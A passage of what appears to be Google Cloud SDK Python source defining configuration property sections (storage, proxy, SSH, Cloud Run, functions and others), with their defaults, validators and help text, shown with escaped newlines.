callbacks=[config.INSTALLATION_CONFIG.IsAlternateReleaseChannel])\n\n\nclass _SectionFilestore(_Section):\n \"\"\"Contains the properties for the 'filestore' section.\"\"\"\n\n def __init__(self):\n super(_SectionFilestore, self).__init__('filestore')\n self.location = self._Add(\n 'location',\n help_text='Please use the `--location` flag or set the '\n 'filestore/zone or filestore/region property.')\n self.zone = self._Add(\n 'zone',\n help_text='Default zone to use when working with Cloud Filestore '\n 'zones. When a `--zone` flag is required but not '\n 'provided, the command will fall back to this value, if set.')\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with Cloud Filestore '\n 'regions. When a `--region` flag is required but not '\n 'provided, the command will fall back to this value, if set.')\n\n\nclass _SectionFunctions(_Section):\n \"\"\"Contains the properties for the 'functions' section.\"\"\"\n\n def __init__(self):\n super(_SectionFunctions, self).__init__('functions')\n self.region = self._Add(\n 'region',\n default='us-central1',\n help_text='Default region to use when working with Cloud '\n 'Functions resources. When a `--region` flag is required but not '\n 'provided, the command will fall back to this value, if set. To see '\n 'valid choices, run `gcloud beta functions regions list`.',\n completer=('googlecloudsdk.command_lib.functions.flags:'\n 'LocationsCompleter'))\n self.gen2 = self._AddBool(\n 'gen2',\n default=False,\n help_text=(\n 'Default environment to use when working with Cloud Functions'\n ' resources. When neither `--gen2` nor `--no-gen2` is provided, the'\n ' decision of whether to use Generation 2 falls back to this value'\n ' if set.'\n ),\n )\n self.v2 = self._AddBool(\n 'v2',\n default=False,\n hidden=True,\n help_text='DEPRECATED. Use `functions/gen2` instead. '\n 'This property will be removed in a future release.')\n\n\nclass _SectionGameServices(_Section):\n \"\"\"Contains the properties for the 'game_services' section.\"\"\"\n\n def __init__(self):\n super(_SectionGameServices, self).__init__('game_services')\n self.deployment = self._Add(\n 'default_deployment',\n default='-',\n help_text=('Default deployment to use when working with Cloud Game '\n 'Services list configs. When a --deployment flag is '\n 'required in a list command but not provided, the command '\n 'will fall back to this value which envokes aggregated '\n 'list from the backend.'))\n self.location = self._Add(\n 'location',\n default='global',\n help_text=(\n 'Default location to use when working with Cloud Game Services '\n 'resources. When a `--location` flag is required but not provided, '\n 'the command will fall back to this value.'))\n self.realm = self._Add(\n 'default_realm',\n default='-',\n help_text=(\n 'Default realm to use when working with Cloud Game Services list '\n 'clusters. When a --realm flag is required in a list command but '\n 'not provided, the command will fall back to this value which '\n 'envokes aggregated list from the backend.'))\n\n\nclass _SectionGcloudignore(_Section):\n \"\"\"Contains the properties for the 'gcloudignore' section.\"\"\"\n\n def __init__(self):\n super(_SectionGcloudignore, self).__init__('gcloudignore')\n self.enabled = self._AddBool(\n 'enabled',\n default=True,\n help_text=(\n 'If True, do not upload `.gcloudignore` files (see `$ gcloud topic '\n 'gcloudignore`). If False, turn off the gcloudignore mechanism '\n 'entirely and upload all files.'))\n\n\nclass _SectionGkeHub(_Section):\n \"\"\"Contains the properties for the 'gkehub' section.\"\"\"\n\n def __init__(self):\n super(_SectionGkeHub, self).__init__('gkehub')\n self.location = self._Add(\n 'location',\n default='global',\n help_text='Please use the `--location` flag to set membership location.'\n )\n\n\nclass _SectionGkebackup(_Section):\n \"\"\"Contains the properties for 'gkebackup' section.\"\"\"\n\n def __init__(self):\n super(_SectionGkebackup, self).__init__('gkebackup')\n self.location = self._Add(\n 'location',\n default='-',\n help_text=(\n 'Default location to use when working with Backup for GKE Services '\n 'resources. When a `--location` flag is required but not provided, '\n 'the command will fall back to this value.'))\n self.backup_plan = self._Add(\n 'backup_plan',\n default='-',\n help_text=(\n 'Default backup plan ID to use when working with Backup for GKE '\n 'Services resources. When a `--backup-plan` flag is required but '\n 'not provided, the command will fall back to this value.'))\n self.backup = self._Add(\n 'backup',\n default='-',\n help_text=(\n 'Default backup ID to use when working with Backup for GKE '\n 'Services resources. When a `--backup` flag is required but not '\n 'provided, the command will fall back to this value.'))\n self.restore = self._Add(\n 'restore_plan',\n default='-',\n help_text=(\n 'Default restore plan ID to use when working with Backup for GKE '\n 'Services resources. When a `--restore-plan` flag is required but '\n 'not provided, the command will fall back to this value.'))\n self.restore = self._Add(\n 'restore',\n default='-',\n help_text=(\n 'Default restore ID to use when working with Backup for GKE '\n 'Services resources. When a `--restore` flag is required but not '\n 'provided, the command will fall back to this value.'))\n\n\nclass _SectionHealthcare(_Section):\n \"\"\"Contains the properties for the 'healthcare' section.\"\"\"\n\n def __init__(self):\n super(_SectionHealthcare, self).__init__('healthcare')\n self.location = self._Add(\n 'location',\n default='us-central1',\n help_text='Default location to use when working with Cloud Healthcare '\n 'resources. When a `--location` flag is required but not provided, the '\n 'command will fall back to this value.')\n self.dataset = self._Add(\n 'dataset',\n help_text='Default dataset to use when working with Cloud Healthcare '\n 'resources. When a `--dataset` flag is required but not provided, the '\n 'command will fall back to this value, if set.')\n\n\nclass _SectionInteractive(_Section):\n \"\"\"Contains the properties for the 'interactive' section.\"\"\"\n\n def __init__(self):\n super(_SectionInteractive, self).__init__('interactive')\n self.bottom_bindings_line = self._AddBool(\n 'bottom_bindings_line',\n default=True,\n help_text='If True, display the bottom key bindings line.')\n self.bottom_status_line = self._AddBool(\n 'bottom_status_line',\n default=False,\n help_text='If True, display the bottom status line.')\n self.completion_menu_lines = self._Add(\n 'completion_menu_lines',\n default=4,\n help_text='Number of lines in the completion menu.')\n self.context = self._Add(\n 'context', default='', help_text='Command context string.')\n self.debug = self._AddBool(\n 'debug',\n default=False,\n hidden=True,\n help_text='If True, enable the debugging display.')\n self.fixed_prompt_position = self._Add(\n 'fixed_prompt_position',\n default=False,\n help_text='If True, display the prompt at the same position.')\n self.help_lines = self._Add(\n 'help_lines',\n default=10,\n help_text='Maximum number of help snippet lines.')\n self.hidden = self._AddBool(\n 'hidden',\n default=False,\n help_text='If True, expose hidden commands/flags.')\n self.justify_bottom_lines = self._AddBool(\n 'justify_bottom_lines',\n default=False,\n help_text='If True, left- and right-justify bottom toolbar lines.')\n self.manpage_generator = self._Add(\n 'manpage_generator',\n default=True,\n help_text=('If True, use the manpage CLI tree generator for '\n 'unsupported commands.'))\n self.multi_column_completion_menu = self._AddBool(\n 'multi_column_completion_menu',\n default=False,\n help_text='If True, display the completions as a multi-column menu.')\n self.obfuscate = self._AddBool(\n 'obfuscate',\n default=False,\n hidden=True,\n help_text='If True, obfuscate status PII.')\n self.prompt = self._Add(\n 'prompt', default='$ ', help_text='Command prompt string.')\n self.show_help = self._AddBool(\n 'show_help',\n default=True,\n help_text='If True, show help as command args are being entered.')\n self.suggest = self._AddBool(\n 'suggest',\n default=False,\n help_text='If True, add command line suggestions based on history.')\n\n\nclass _SectionKubeRun(_Section):\n \"\"\"Contains the properties for the 'kuberun' section.\"\"\"\n\n def __init__(self):\n super(_SectionKubeRun, self).__init__('kuberun')\n self.enable_experimental_commands = self._AddBool(\n 'enable_experimental_commands',\n help_text='If True, experimental KubeRun commands will not prompt to '\n 'continue.',\n hidden=True)\n\n self.environment = self._Add(\n 'environment',\n help_text='If set, this environment will be used as the deployment'\n 'target in all KubeRun commands.',\n hidden=True)\n\n self.cluster = self._Add(\n 'cluster',\n help_text='ID of the cluster or fully qualified identifier '\n 'for the cluster',\n hidden=True)\n\n self.cluster_location = self._Add(\n 'cluster_location',\n help_text='Zone or region in which the cluster is located.',\n hidden=True)\n\n self.use_kubeconfig = self._AddBool(\n 'use_kubeconfig',\n help_text='Use the default or provided kubectl config file.',\n hidden=True)\n\n self.kubeconfig = self._Add(\n 'kubeconfig',\n help_text='Absolute path to your kubectl config file.',\n hidden=True)\n\n self.context = self._Add(\n 'context',\n help_text='Name of the context in your kubectl config file to use.',\n hidden=True)\n\n\nclass _SectionLifeSciences(_Section):\n \"\"\"Contains the properties for the 'lifesciences' section.\"\"\"\n\n def __init__(self):\n super(_SectionLifeSciences, self).__init__('lifesciences')\n self.location = self._Add(\n 'location',\n default='us-central1',\n help_text='Default location to use when working with Cloud Life Sciences '\n 'resources. When a `--location` flag is required but not provided, the '\n 'command will fall back to this value.')\n\n\nclass _SectionLooker(_Section):\n \"\"\"Contains the properties for the 'looker' section.\"\"\"\n\n def __init__(self):\n super(_SectionLooker, self).__init__('looker')\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with Cloud '\n 'Looker resources. When a `region` is required but not '\n 'provided by a flag, the command will fall back to this value, if set.')\n\n\nclass _SectionMediaAsset(_Section):\n \"\"\"Contains the properties for the 'media_asset' section.\"\"\"\n\n def __init__(self):\n super(_SectionMediaAsset, self).__init__('media_asset')\n self.location = self._Add(\n 'location',\n default='us-central1',\n help_text=(\n 'Default location to use when working with Cloud Media Asset '\n 'resources. When a `--location` flag is required but not provided, '\n 'the command will fall back to this value.'))\n\n\nclass _SectionMemcache(_Section):\n \"\"\"Contains the properties for the 'memcache' section.\"\"\"\n\n def __init__(self):\n super(_SectionMemcache, self).__init__('memcache')\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with Cloud Memorystore '\n 'for Memcached resources. When a `region` is required but not provided '\n 'by a flag, the command will fall back to this value, if set.')\n\n\nclass _SectionMetastore(_Section):\n \"\"\"Contains the properties for the 'metastore' section.\"\"\"\n\n class Tier(enum.Enum):\n developer = 1\n enterprise = 3\n\n def TierValidator(self, tier):\n if tier is None:\n return\n\n if tier not in [x.name for x in list(_SectionMetastore.Tier)]:\n raise InvalidValueError(\n ('tier `{0}` must be one of: [developer, enterprise]'.format(tier)))\n\n def __init__(self):\n super(_SectionMetastore, self).__init__('metastore')\n self.location = self._Add(\n 'location',\n help_text='Default location to use when working with Dataproc '\n 'Metastore. When a `location` is required but not provided by a flag, '\n 'the command will fall back to this value, if set.')\n self.tier = self._Add(\n 'tier',\n validator=self.TierValidator,\n help_text=textwrap.dedent(\"\"\"\\\n Default tier to use when creating Dataproc Metastore services.\n When a `tier` is required but not provided by a flag,\n the command will fall back to this value, if set.\n +\n Valid values are:\n * `developer` - The developer tier provides limited scalability\n and no fault tolerance. Good for low-cost proof-of-concept.\n * `enterprise` - The enterprise tier provides multi-zone high\n availability, and sufficient scalability for enterprise-level\n Dataproc Metastore workloads.\"\"\"),\n choices=[x.name for x in list(_SectionMetastore.Tier)])\n\n\nclass _SectionMetrics(_Section):\n \"\"\"Contains the properties for the 'metrics' section.\"\"\"\n\n def __init__(self):\n super(_SectionMetrics, self).__init__('metrics', hidden=True)\n self.environment = self._Add('environment', hidden=True)\n self.environment_version = self._Add('environment_version', hidden=True)\n self.command_name = self._Add('command_name', internal=True)\n\n\nclass _SectionMlEngine(_Section):\n \"\"\"Contains the properties for the 'ml_engine' section.\"\"\"\n\n def __init__(self):\n super(_SectionMlEngine, self).__init__('ml_engine')\n self.polling_interval = self._Add(\n 'polling_interval',\n default=60,\n help_text=('Interval (in seconds) at which to poll logs from your '\n 'Cloud ML Engine jobs. Note that making it much faster than '\n 'the default (60) will quickly use all of your quota.'))\n self.local_python = self._Add(\n 'local_python',\n default=None,\n help_text=('Full path to the Python interpreter to use for '\n 'Cloud ML Engine local predict/train jobs. If not '\n 'specified, the default path is the one to the Python '\n 'interpreter found on system `PATH`.'))\n\nclass _SectionMps(_Section):\n \"\"\"Contains the properties for the 'mps' section.\"\"\"\n\n def __init__(self):\n super(_SectionMps, self).__init__('mps')\n self.product = self._Add(\n 'product',\n default=None,\n help_text='Id for Marketplace Solutions Product. '\n )\n\n\nclass _SectionNetapp(_Section):\n \"\"\"Contains the properties for the 'netapp' section.\"\"\"\n\n def __init__(self):\n super(_SectionNetapp, self).__init__('netapp')\n\n self.location = self._Add(\n 'location',\n help_text='Default location to use when working with Cloud NetApp Files'\n ' resources. When a `location` value is required but not '\n 'provided, the command will fall back to this value, if set.')\n\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with Cloud NetApp Files '\n 'regions. When a `--region` flag is required but not '\n 'provided, the command will fall back to this value, if set.')\n\n\nclass _SectionNotebooks(_Section):\n \"\"\"Contains the properties for the 'notebooks' section.\"\"\"\n\n def __init__(self):\n super(_SectionNotebooks, self).__init__('notebooks')\n\n self.location = self._Add(\n 'location',\n help_text='Default location to use when working with Notebook '\n 'resources. When a `location` value is required but not provided, the '\n 'command will fall back to this value, if set.')\n\n\nclass _SectionPrivateCa(_Section):\n \"\"\"Contains the properties for the 'privateca' section.\"\"\"\n\n def __init__(self):\n super(_SectionPrivateCa, self).__init__('privateca')\n self.location = self._Add(\n 'location',\n help_text='Default location to use when working with Private CA '\n 'resources. When a `--location` flag is required but not provided, the '\n 'command will fall back to this value, if set.',\n completer=('googlecloudsdk.command_lib.privateca.completers:'\n 'LocationsCompleter'))\n\n\nclass _SectionProxy(_Section):\n \"\"\"Contains the properties for the 'proxy' section.\"\"\"\n\n def __init__(self):\n super(_SectionProxy, self).__init__('proxy')\n self.address = self._Add(\n 'address', help_text='Hostname or IP address of proxy server.')\n self.port = self._Add(\n 'port', help_text='Port to use when connected to the proxy server.')\n self.rdns = self._Add(\n 'rdns',\n default=True,\n help_text='If True, DNS queries will not be performed '\n 'locally, and instead, handed to the proxy to resolve. This is default'\n ' behavior.')\n self.username = self._Add(\n 'username',\n help_text='Username to use when connecting, if the proxy '\n 'requires authentication.')\n self.password = self._Add(\n 'password',\n help_text='Password to use when connecting, if the proxy '\n 'requires authentication.')\n\n valid_proxy_types = sorted(http_proxy_types.PROXY_TYPE_MAP.keys())\n\n def ProxyTypeValidator(proxy_type):\n if proxy_type is not None and proxy_type not in valid_proxy_types:\n raise InvalidValueError(\n 'The proxy type property value [{0}] is not valid. '\n 'Possible values: [{1}].'.format(proxy_type,\n ', '.join(valid_proxy_types)))\n\n self.proxy_type = self._Add(\n 'type',\n help_text='Type of proxy being used. Supported proxy types are:'\n ' [{0}].'.format(', '.join(valid_proxy_types)),\n validator=ProxyTypeValidator,\n choices=valid_proxy_types)\n\n self.use_urllib3_via_shim = self._AddBool(\n 'use_urllib3_via_shim',\n default=False,\n hidden=True,\n help_text='If True, use `urllib3` to make requests via `httplib2shim`.')\n\n\nclass _SectionPubsub(_Section):\n \"\"\"Contains the properties for the 'pubsub' section.\"\"\"\n\n def __init__(self):\n super(_SectionPubsub, self).__init__('pubsub')\n self.legacy_output = self._AddBool(\n 'legacy_output',\n default=False,\n internal=True,\n hidden=True,\n help_text=('Use the legacy output for beta pubsub commands. The legacy '\n 'output from beta is being deprecated. This property will '\n 'eventually be removed.'))\n\n\nclass _SectionRecaptcha(_Section):\n \"\"\"Contains the properties for the 'recaptcha' section.\"\"\"\n\n def __init__(self):\n super(_SectionRecaptcha, self).__init__('recaptcha')\n\n\nclass _SectionRedis(_Section):\n \"\"\"Contains the properties for the 'redis' section.\"\"\"\n\n def __init__(self):\n super(_SectionRedis, self).__init__('redis')\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with Cloud '\n 'Memorystore for Redis resources. When a `region` is required but not '\n 'provided by a flag, the command will fall back to this value, if set.')\n\n\nclass _SectionResourcePolicy(_Section):\n \"\"\"Contains the properties for the 'resource_policy' section.\"\"\"\n\n def __init__(self):\n super(_SectionResourcePolicy, self).__init__('resource_policy', hidden=True)\n self.org_restriction_header = self._Add(\n 'org_restriction_header',\n default=None,\n help_text='Default organization restriction header to use when '\n 'working with GCP resources. If set, the value '\n 'must be in JSON format and must contain a comma separated list '\n 'of authorized GCP organization IDs. The JSON must then be encoded '\n 'by following the RFC 4648, section 5, specifications. '\n 'See https://www.rfc-editor.org/rfc/rfc4648#section-5 '\n 'for more information about base 64 encoding. And visit '\n 'https://cloud.google.com/resource-manager/docs/organization-restrictions/overview '\n 'for more information about organization restrictions.')\n\n\nclass _SectionRun(_Section):\n \"\"\"Contains the properties for the 'run' section.\"\"\"\n\n def __init__(self):\n super(_SectionRun, self).__init__('run')\n self.region = self._Add(\n 'region',\n help_text='Default region to use when working with Cloud '\n 'Run resources. When a `--region` flag is required '\n 'but not provided, the command will fall back to this value, if set.')\n\n self.namespace = self._Add(\n 'namespace',\n help_text='Specific to working with Cloud on GKE or '\n 'a Kubernetes cluster: Kubernetes namespace for the resource.',\n hidden=True)\n\n self.cluster = self._Add(\n 'cluster',\n help_text='ID of the cluster or fully qualified identifier '\n 'for the cluster')\n\n self.cluster_location = self._Add(\n 'cluster_location',\n help_text='Zone or region in which the cluster is located.')\n\n self.platform = self._Add(\n 'platform',\n choices=['gke', 'managed', 'kubernetes'],\n default='managed',\n help_text='Target platform for running commands.')\n\n\nclass _SectionRunApps(_Section):\n \"\"\"Contains the properties for the 'runapps' section.\"\"\"\n\n def __init__(self):\n super(_SectionRunApps, self).__init__('runapps')\n self.experimental_integrations = self._AddBool(\n 'experimental_integrations',\n help_text='If enabled then the user will have access to integrations '\n 'that are currently experimental. These integrations will also not be'\n 'usable in the API for those who are not allowlisted.',\n default=False,\n hidden=True)\n\n\nclass _SectionScc(_Section):\n \"\"\"Contains the properties for the 'scc' section.\"\"\"\n\n def __init__(self):\n super(_SectionScc, self).__init__('scc')\n self.organization = self._Add(\n 'organization',\n help_text='Default organization `gcloud` should use for scc surface.')\n self.parent = self._Add(\n 'parent',\n help_text='Default parent `gcloud` should use for scc surface.')\n\n\nclass _SectionSecrets(_Section):\n \"\"\"Contains the properties for the 'secrets' section.\"\"\"\n\n def __init__(self):\n super(_SectionSecrets, self).__init__('secrets')\n self.replication_policy = self._Add(\n 'replication-policy',\n choices=['automatic', 'user-managed'],\n help_text='The type of replication policy to apply to secrets. Allowed '\n 'values are \"automatic\" and \"user-managed\". If user-managed then '\n 'locations must also be provided.',\n )\n self.locations = self._Add(\n 'locations',\n help_text='A comma separated list of the locations to replicate '\n 'secrets to. Only applies to secrets with a user-managed policy.')\n\n\nclass _SectionSpanner(_Section):\n \"\"\"Contains the properties for the 'spanner' section.\"\"\"\n\n def __init__(self):\n super(_SectionSpanner, self).__init__('spanner')\n self.instance = self._Add(\n 'instance',\n help_text='Default instance to use when working with Cloud Spanner '\n 'resources. When an instance is required but not provided by a flag, '\n 'the command will fall back to this value, if set.',\n completer='googlecloudsdk.command_lib.spanner.flags:InstanceCompleter')\n\n\nclass _SectionSsh(_Section):\n \"\"\"Contains SSH-related properties.\"\"\"\n\n def __init__(self):\n super(_SectionSsh, self).__init__('ssh')\n self.putty_force_connect = self._AddBool(\n 'putty_force_connect',\n default=True, # For backwards compatibility only.\n help_text='Whether or not `gcloud` should automatically accept new or '\n 'changed host keys when executing plink/pscp commands on Windows. '\n 'Defaults to True, but can be set to False to present these '\n 'interactive prompts to the user for host key checking.')\n self.verify_internal_ip = self._AddBool(\n 'verify_internal_ip',\n default=True,\n help_text='Whether or not `gcloud` should perform an initial SSH '\n 'connection to verify an instance ID is correct when connecting via '\n 'its internal IP. Without this check, `gcloud` will simply connect to '\n 'the internal IP of the desired instance, which may be wrong if the '\n 'desired instance is in a different subnet but happens to share the '\n 'same internal IP as an instance in the current subnet. Defaults to '\n 'True.')\n\n\nclass CheckHashes(enum.Enum):\n \"\"\"Different settings for hashing throughout gcloud storage.\n\n More details in _CHECK_HASHES_HELP_TEXT.\n \"\"\"\n\n IF_FAST_ELSE_FAIL = 'if_fast_else_fail'\n IF_FAST_ELSE_SKIP = 'if_fast_else_skip'\n ALWAYS = 'always'\n NEVER = 'never'\n\n\nclass StoragePreferredApi(enum.Enum):\n \"\"\"Preferred API for gcloud storage.\"\"\"\n\n JSON = 'json'\n GRPC_WITH_JSON_FALLBACK = 'grpc_with_json_fallback'\n\n\nclass _SectionStorage(_Section):\n \"\"\"Contains the properties for the 'storage' section.\"\"\"\n\n _CHECK_HASHES_HELP_TEXT = textwrap.dedent(\"\"\"\\\n 'check_hashes' specifies how strictly to require integrity checking for\n downloaded data. Legal values are:\n +\n * 'if_fast_else_fail' - (default) Only integrity check if the digest\n will run efficiently (using compiled code), else fail the download.\n +\n * 'if_fast_else_skip' - Only integrity check if the server supplies a hash\n and the local digest computation will run quickly, else skip the check.\n +\n * 'always' - Always check download integrity regardless of possible\n performance costs.\n +\n * 'never' - Don't perform download integrity checks. This setting is\n not recommended except for special cases such as measuring download\n performance excluding time for integrity checking.\n +\n This option exists to assist users who wish to download a composite\n object and are unable to install crcmod with the C-extension. CRC32c is\n the only available integrity check for composite objects, and without the\n C-extension, download performance can be significantly degraded by the\n digest computation. This option is ignored for daisy-chain copies, which\n don't compute hashes but instead (inexpensively) compare the cloud source\n and destination hashes.\"\"\")\n\n DEFAULT_COPY_CHUNK_SIZE = '100Mi'\n DEFAULT_DOWNLOAD_CHUNK_SIZE = '256Ki'\n DEFAULT_UPLOAD_CHUNK_SIZE = '100Mi'\n DEFAULT_RESUMABLE_THRESHOLD = '8Mi'\n DEFAULT_RSYNC_LIST_CHUNK_SIZE = 32000\n\n def __init__(self):\n super(_SectionStorage, self).__init__('storage')\n self.additional_headers = self._Add(\n 'additional_headers',\n help_text='Includes arbitrary headers in storage API calls.'\n ' Accepts a comma separated list of key=value pairs, e.g.'\n ' `header1=value1,header2=value2`.',\n )\n\n self.run_by_gsutil_shim = self._AddBool(\n 'run_by_gsutil_shim',\n help_text=(\n 'Indicates command was launched by gsutil-to-gcloud-storage shim.'),\n hidden=True)\n\n self.check_hashes = self._Add(\n 'check_hashes',\n default=CheckHashes.IF_FAST_ELSE_FAIL.value,\n help_text=self._CHECK_HASHES_HELP_TEXT,\n choices=([setting.value for setting in CheckHashes]))\n\n self.check_mv_early_deletion_fee = self._AddBool(\n 'check_mv_early_deletion_fee',\n default=True,\n help_text='Block mv commands that may incur an early deletion fee'\n ' (the source object in a mv is deleted).')\n\n self.convert_incompatible_windows_path_characters = self._AddBool(\n 'convert_incompatible_windows_path_characters',\n default=True,\n help_text='Allows automatic conversion of invalid path'\n ' characters on Windows. If not enabled, Windows will raise an OSError'\n ' if an invalid character is encountered.')\n\n self.copy_chunk_size = self._Add(\n 'copy_chunk_size',\n default=self.DEFAULT_COPY_CHUNK_SIZE,\n validator=_HumanReadableByteAmountValidator,\n help_text='Chunk size used for copying to in clouds or on disk.')\n\n self.download_chunk_size = self._Add(\n 'download_chunk_size',\n default=self.DEFAULT_DOWNLOAD_CHUNK_SIZE,\n validator=_HumanReadableByteAmountValidator,\n help_text='Chunk size used for downloadinging to clouds.')\n\n self.upload_chunk_size = self._Add(\n 'upload_chunk_size',\n default=self.DEFAULT_UPLOAD_CHUNK_SIZE,\n validator=_HumanReadableByteAmountValidator,\n help_text='Chunk size used for uploading to clouds.')\n\n self.max_retries = self._Add(\n 'max_retries',\n default=23,\n help_text='Max number of retries for operations like copy.')\n\n self.base_retry_delay = self._Add(\n 'base_retry_delay',\n default=1,\n help_text='Second delay between retrying operations. May be multiplied'\n ' by exponential_sleep_multiplier.')\n\n self.exponential_sleep_multiplier = self._Add(\n 'exponential_sleep_multiplier',\n default=2,\n help_text='Used in exponential backoff for retrying operations.')\n\n self.gs_xml_endpoint_url = self._Add(\n 'gs_xml_endpoint_url',\n default='https://storage.googleapis.com',\n hidden=True,\n help_text='The endpoint used to Google Cloud Storage when HMAC '\n 'authentication through Boto3.')\n\n self.gs_xml_access_key_id = self._Add(\n 'gs_xml_access_key_id',\n default=None,\n hidden=True,\n help_text='Legacy Cloud Storage HMAC credential access key ID.'\n 'WARNING: This in conjunction with storage/gs_xml_secret_access_key '\n 'forces gcloud storage to use the XML API to call Cloud Storage, '\n 'which means not all commands will work as expected.')\n\n self.gs_xml_secret_access_key = self._Add(\n 'gs_xml_secret_access_key',\n default=None,\n hidden=True,\n help_text='Legacy Cloud Storage HMAC credential secret access key.'\n 'WARNING: This in conjunction with storage/gs_xml_access_key_id '\n 'forces gcloud storage to use the XML API to call Cloud Storage, '\n 'which means not all commands will work as expected.')\n\n self.json_api_version = self._Add(\n 'json_api_version',\n default='v1',\n hidden=True,\n help_text=(\n 'The version \"v1\" is hardcoded in the generated client for upload'\n ' operations, e.g.'\n ' /resumable/upload/storage/v1/b/{bucket}/o. Setting this property'\n ' will replace \"v1\" in the above path with the specified value.'\n ),\n )\n\n self.key_store_path = self._Add(\n 'key_store_path',\n help_text=textwrap.dedent(\"\"\"\\\n Path to a yaml file containing an encryption key, and multiple\n decryption keys for use in storage commands. The file must be formatted\n as follows:\n +\n encryption_key: {A customer-supplied or customer-managed key.}\n decryption_keys:\n - {A customer-supplied key}\n ...\n +\n Customer-supplied encryption keys must be RFC 4648 section 4\n base64-encoded AES256 strings. Customer-managed encryption keys must be\n of the form\n `projects/{project}/locations/{location}/keyRings/{key-ring}/cryptoKeys/{crypto-key}`.\n \"\"\"))\n\n self.max_retry_delay = self._Add(\n 'max_retry_delay',\n default=32,\n help_text='Max second delay between retriable operations.')\n\n self.process_count = self._Add(\n 'process_count',\n help_text='The maximum number of processes parallel execution should '\n 'use. When process_count and thread_count are both 1, commands use '\n 'sequential execution.')\n\n self.resumable_threshold = self._Add(\n 'resumable_threshold',\n default=self.DEFAULT_RESUMABLE_THRESHOLD,\n validator=_HumanReadableByteAmountValidator,\n help_text='File operations above this size in bytes will use resumable'\n ' instead of one-shot strategies. For example, a resumable download.')\n\n self.sliced_object_download_component_size = self._Add(\n 'sliced_object_download_component_size',\n validator=_HumanReadableByteAmountValidator,\n help_text='Target size and upper bound for files to be sliced into.'\n ' Analogous to parallel_composite_upload_component_size.')\n\n self.sliced_object_download_max_components = self._Add(\n 'sliced_object_download_max_components',\n help_text='Specifies the maximum number of slices to be used when'\n ' performing a sliced object download. Set None for no limit.')\n\n self.sliced_object_download_threshold = self._Add(\n 'sliced_object_download_threshold',\n validator=_HumanReadableByteAmountValidator,\n help_text='Slice files larger than this value. Zero will block sliced'\n ' downloads. Analogous to parallel_composite_upload_threshold.')\n\n self.thread_count = self._Add(\n 'thread_count',\n help_text='The number of threads parallel execution should use per '\n 'process. When process_count and thread_count are both 1, commands use '\n 'sequential execution.')\n\n self.parallel_composite_upload_component_prefix = self._Add(\n 'parallel_composite_upload_component_prefix',\n default=(\n '/gcloud/tmp/parallel_composite_uploads/'\n 'see_gcloud_storage_cp_help_for_details/'\n ),\n hidden=True,\n help_text=(\n 'The prefix used when naming temporary components created by'\n ' composite uploads. If the prefix begins with a `/`, the temporary'\n ' components are uploaded relative to the bucket name. If the'\n ' prefix does not begin with a `/`, the temporary components are'\n ' uploaded relative to the prefix portion of the destination object'\n ' name. For example, consider an upload that will create a final'\n ' object named `gs://bucket/dir1/dir2/object`. Using a prefix of'\n ' `/prefix` means temporary components use names like'\n ' `gs://bucket/prefix/COMPONENT_NAME`. Using a prefix of `prefix`'\n ' means temporary components use names like'\n ' `gs://bucket/dir1/dir2/prefix/COMPONENT_NAME`. If this property'\n ' is not specified, gcloud storage uses the prefix'\n ' `/gcloud/tmp/parallel_composite_uploads/see_gcloud_storage_cp_help_for_details/`.'\n ' If a chosen prefix results in temporary component names longer'\n ' than the maximum length Cloud Storage allows, gcloud storage'\n ' performs a non-composite upload.'\n ),\n )\n\n self.parallel_composite_upload_component_size = self._Add(\n 'parallel_composite_upload_component_size',\n default='50M',\n validator=_HumanReadableByteAmountValidator,\n help_text='Specifies the ideal size of a component in bytes, which '\n 'will act as an upper bound to the size of the components if '\n 'ceil(file_size / parallel_composite_upload_component_size) is less '\n 'than the maximum number of objects the API allows composing at once. '\n 'Values can be provided either in bytes or as human-readable values '\n '(e.g., \"150M\" to represent 150 mebibytes).')\n\n self.parallel_composite_upload_compatibility_check = self._AddBool(\n 'parallel_composite_upload_compatibility_check',\n default=True,\n help_text='Determines if the GET bucket call should be performed to '\n 'check if the default storage class and retention period for the '\n 'destination bucket meet the criteria for parallel composite upload.')\n\n self.parallel_composite_upload_enabled = self._Add(\n 'parallel_composite_upload_enabled',\n default=None,\n help_text='Determines whether parallel composite upload should be '\n 'used. Default value is None which will use parallel composite upload '\n 'and log an appropriate warning for the user explaining that parallel '\n 'composite upload is being used by default.',\n choices=[True, False, None])\n\n self.parallel_composite_upload_threshold = self._Add(\n 'parallel_composite_upload_threshold',\n default='150M',\n validator=_HumanReadableByteAmountValidator,\n help_text='Specifies the maximum size of a file to upload in a single '\n 'stream. Files larger than this threshold will be partitioned into '\n 'component parts, uploaded in parallel, then composed into a single '\n 'object. The number of components will be the smaller of '\n 'ceil(file_size / parallel_composite_upload_component_size) and '\n 'the maximum number of objects the API allows composing at once. For '\n 'Cloud Storage this limit is 32. This property has no effect if '\n 'parallel_composite_upload_enabled is set to False.')\n\n self.rsync_files_directory = self._Add(\n 'rsync_files_directory',\n default=os.path.join(\n config.Paths().global_config_dir,\n 'surface_data',\n 'storage',\n 'rsync_files',\n ),\n help_text='Directory path to intermediary files created by rsync.',\n )\n\n self.rsync_list_chunk_size = self._Add(\n 'rsync_list_chunk_size',\n default=self.DEFAULT_RSYNC_LIST_CHUNK_SIZE,\n help_text=(\n 'Number of files processed at a time by the rsync command when'\n ' it builds and compares the list of files at the source'\n ' and destination.'\n ),\n )\n\n self.s3_endpoint_url = self._Add(\n 's3_endpoint_url',\n default=None,\n help_text='If set, boto3 client will connect to this endpoint.'\n ' Otherwise, boto3 selects a default endpoint based on the AWS service'\n ' used.')\n\n self.suggest_transfer = self._AddBool(\n 'suggest_transfer',\n default=True,\n help_text='If True, logs messages about when Storage Transfer Service'\n ' might be a better tool than gcloud storage.')\n\n self.symlink_placeholder_directory = self._Add(\n 'symlink_placeholder_directory',\n default=os.path.join(\n config.Paths().global_config_dir,\n 'surface_data',\n 'storage',\n 'symlink_placeholders',\n ),\n help_text='Directory path to temporary symlink placeholder files.',\n hidden=True,\n )\n\n self.tracker_files_directory = self._Add(\n 'tracker_files_directory',\n default=os.path.join(\n config.Paths().global_config_dir,\n 'surface_data',\n 'storage',\n 'tracker_files',\n ),\n help_text='Directory path to tracker files for resumable operations.',\n )\n\n self.use_gcloud_crc32c = self._AddBool(\n 'use_gcloud_crc32c',\n default=None,\n help_text=(\n 'If True, data integrity checks use a binary subprocess to 